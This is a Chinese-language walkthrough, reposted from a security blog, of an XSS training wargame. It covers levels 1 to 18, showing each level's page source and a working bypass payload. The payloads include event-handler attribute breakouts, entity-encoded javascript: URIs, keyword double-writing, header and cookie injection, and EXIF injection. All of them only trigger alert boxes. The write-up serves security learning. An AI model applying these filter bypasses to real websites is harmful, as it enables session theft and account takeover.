XSS挑战之旅游戏通攻略

admin 2024年2月4日12:15:36评论12 views字数 10241阅读34分8秒阅读模式

一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬@Mramydnei,喜欢XSS的大家可以一起来学习交流。

懒得搭建通过fofa查找在线的进行挑战 语法

body="欢迎来到XSS挑战"

XSS挑战之旅游戏通攻略随便打开一个然后开始挑战

关卡1

在url中输入测试语句<script "'/0n>发现没有显示XSS挑战之旅游戏通攻略右键页面查看一下网页源码,在第15行,发现所有符号都没过滤,也没有转义,构造的语句出现在这里

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script "'/0n></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>

payload

<script>alert("xss")</script>

修改参数为?name=

即可通关XSS挑战之旅游戏通攻略

关卡2

在输入框中输入测试语句<script "'/0n>可以看到输入框中没有显示出双引号 此处语句应该是被双引号闭合XSS挑战之旅游戏通攻略

看源码

在第18行,可以看到输入的参数是被双引号闭合着带入到input标签中。所有需要在开头构造一个">把签名input标签闭合掉,在结尾构造一个"<把input剩下的尖括号闭合即可

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script "'/0n>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>

payload

"><script>alert("xss")</script><"
XSS挑战之旅游戏通攻略
image.png

关卡3

在输入框中输入测试语句<script "'/0n>能看到输入框的内容里没有单引号 此处语句应该是被单引号闭合XSS挑战之旅游戏通攻略

源码查看

在第17行可以看到,大小于号和双引号被转义,但是单引号没有被转义且参数是用单引号闭合的。由于大于号被转义,我们需要使用哪些不需要用到标签的语句来触发XSS漏洞比如说用事件触发的形式,同时使用单引号来闭合。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='&lt;script &quot;'/0n&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>

payload

'onmouseover='alert("xss")
XSS挑战之旅游戏通攻略
image.png

关卡4

在输入框中输入测试语句<script "'/0n> 搜索框里没有小于号,估计是被转义了,内容也是到script截止,内容是由双引号闭合的XSS挑战之旅游戏通攻略

源码查看

可以看到第17,大小于号已被过滤,引号没有被过滤或转义,参数采用的是双引号的闭合方式。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="script "'/0n">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:12</h3></body>
</html>

payload

"onmouseover="alert(/xss/)
XSS挑战之旅游戏通攻略
image.png

关卡5

在输入框中输入测试语句<script "'/0n> 发现在r与i之间多了一个_符号,猜测是关键字被转义了XSS挑战之旅游戏通攻略

源码查看

在第17行我们发现两个关键字被转义,大小于号和引号没有被过滤与转义。用双引号闭合方式,可利用其他关键字绕过

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt "'/0n>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:15</h3></body>
</html>

尝试img标签

"><IMG SRC="javascript:alert('XSS');"><"

XSS挑战之旅游戏通攻略无法进行弹窗,尝试修改为a标签,成功弹窗

payload

"><a href="javascript:alert('XSS');">xss<"

点击xss即可完成改关卡XSS挑战之旅游戏通攻略

关卡6

在输入框中输入测试语句<script "'/0n>,与上一关的情况差不多XSS挑战之旅游戏通攻略

查看源码

关键字被转义,大小于号和引号没有被过滤与转义。用双引号闭合方式

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt "'/0n>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:15</h3></body>
</html>

采用上一关的payload,发现href被转义了XSS挑战之旅游戏通攻略

payload

采用大小写即可绕过

"><a Href="javascript:alert('XSS');">xss<"
XSS挑战之旅游戏通攻略
image.png

关卡7

在输入框中输入测试语句<script "'/0n>,只显示了<括号,猜测可能是script被过滤。XSS挑战之旅游戏通攻略

查看源码

在17行,可以看到script被过滤,采用双引号闭合

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="< "'/0n>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>

payload

经过尝试可以使用script双写绕过

"><scrscriptipt>alert(/xss/)</scrscriptipt><"
XSS挑战之旅游戏通攻略
image.png

关卡8

在输入框中输入测试语句<script "'/0n>,输入的值均显示在页面上XSS挑战之旅游戏通攻略

查看源码

在第17行可以看到,大小于号被转义、双引号被转义,语句采用双引号闭合方式。在20行可以看到大小于号被转义回来,关键字被插入下划线。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="&lt;script &quot;'/0n&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt &quot'/0n>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:19</h3></body>
</html>

payload

可以使用javascript 伪协议 https://www.yzktw.com.cn/post/1433599.html javascript中的script会被转义为scr_ipt,源码中会对部分html实体编码转换为正常的字符,所以采用将script htlm实体编码尝试 在线html实体编码:https://config.net.cn/tools/HtmlEncode.html

java&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;:alert(/xss/)

输入后点击友情链接成功弹窗XSS挑战之旅游戏通攻略

关卡9

在输入框中输入测试语句<script "'/0n>输入的值也是显示在页面上XSS挑战之旅游戏通攻略

查看源码

和上一关差不多的情况,大小于号被转义、双引号被转义、、大写变小写,采用双引号闭合 在20行提示您的链接不合法?有没有!

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="&lt;script &quot;'/0n&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:19</h3></body>
</html>

输入正常的链接:http://www.baid.com提交,返回是合法的XSS挑战之旅游戏通攻略

payload

所以将http://写入到payload中让他匹配到存在即会返回合法,所以构造pyload

java&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;:alert('http://xss')
XSS挑战之旅游戏通攻略
image.png

关卡10

在url中输入测试语句<script "'/0n>,页面显示看不出什么信息XSS挑战之旅游戏通攻略

查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>

发现第15行大小于号被转义、双引号都被转义,语句采用双引号闭合。在第17、18、19行,发现三个输入参数,分别是t_link、t_history、t_sort 输入测试语句?t_history=<script "'/0n>&t_sort=<script "'/0n>&t_link=<script "'/0n>发现只有t_sort有值,大小于号被过滤,采用双引号闭合XSS挑战之旅游戏通攻略

payload

不需要大小于号的事件触发方式构造语句

?t_sort=sb" type="button" onclick="alert(/xss/)

?t_sort=表示参数是传递给谁;
sb"给input赋值同时闭合双引号;
修改type属性为按钮方便事件触发;
onclik则表示点击时触发事件
XSS挑战之旅游戏通攻略
image.png

关卡11

在url中输入测试语句<script "'/0n>,页面显示看不出什么信息XSS挑战之旅游戏通攻略

查看源代码

发现第15行大小于号被转义、双引号都被转义,语句采用双引号闭合。在第17、18、19、20行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_ref,考虑将测试语句传入进行测试。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和&lt;script &quot;'/0n&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>

?t_history=<script "'/0n>&t_sort=<script "'/0n>&t_link=<script "'/0n>&t_ref=<script "'/0n>XSS挑战之旅游戏通攻略发现第19行大小于号被转义、双引号都被转义,语句采用双引号闭合。经测试,利用常规手段无法进行绕过,尝试其余参数入手 可以发现其余参通过url地址栏传递无法传递,根据命令规则t_ref是不是就是http的referer头部信息,进行尝试,发现没有任何过滤XSS挑战之旅游戏通攻略

payload

抓包修改referer头部信息,成功通过

referer: referer:click me!" type="button" onclick="alert(/xss/)
XSS挑战之旅游戏通攻略
image.png

关卡12

与关卡11类似,修改t_ua值进行绕过XSS挑战之旅游戏通攻略

payload

XSS挑战之旅游戏通攻略XSS挑战之旅游戏通攻略

关卡13

与关卡11、12类似,修改值进行绕过XSS挑战之旅游戏通攻略

payload

Cookie: user=click me!" type="button" onclick="alert(/xss/)

XSS挑战之旅游戏通攻略XSS挑战之旅游戏通攻略XSS挑战之旅游戏通攻略

关卡14

这需要上传图片,我们上传一个普通图片。打印出来图片EXIF信息。XSS挑战之旅游戏通攻略我们可以修改EXIF信息,向其中写入脚本,当后端读取并先到前端时,就会注入脚本,触发XSSXSS挑战之旅游戏通攻略上传这个有脚本的图片,触发成功。XSS挑战之旅游戏通攻略

关卡15

URL的src参数回显在下面的ng-includeXSS挑战之旅游戏通攻略ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS 我们包含第一关的XSS

payload

?src='level1.php?name=<img src=x onerror=alert(1)>'
XSS挑战之旅游戏通攻略
image.png

关卡16

在url中输入测试语句<script "'/0n>,可以看到script被过滤XSS挑战之旅游戏通攻略

查看源码

script被过滤、空格和/被转义

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center><&nbsp;&nbsp;"'&nbsp;0n></center><center><img src=level16.png></center>
<h3 align=center>payload的长度:24</h3></body>
</html>

我们使用img绕过,空格用%0a替换

payload

?keyword=<img%0asrc=x%0aonerror=alert(1)>
XSS挑战之旅游戏通攻略
image.png

关卡17

打入测试语句<script "'/0n>XSS挑战之旅游戏通攻略过滤了尖括号和双引号,用on事件触发 这题是Flash XSS,但是不要被它迷惑

payload

/level17.php?arg01=a&arg02= onmouseover=alert(1)
XSS挑战之旅游戏通攻略
image.png

关卡18

感觉17题和18题没啥区别  也使用闭合属性值触发

payload

/level18.php?arg01=a&arg02= onmouseover=alert(1)

XSS挑战之旅游戏通攻略关卡19和20属于Flash XSS,有兴趣的小伙伴们可以去深入学习。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

XSS挑战之旅游戏通攻略

原文始发于微信公众号(鹏组安全):XSS挑战之旅--游戏通攻略

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月4日12:15:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS挑战之旅游戏通攻略http://cn-sec.com/archives/2467453.html

发表评论

匿名网友 填写信息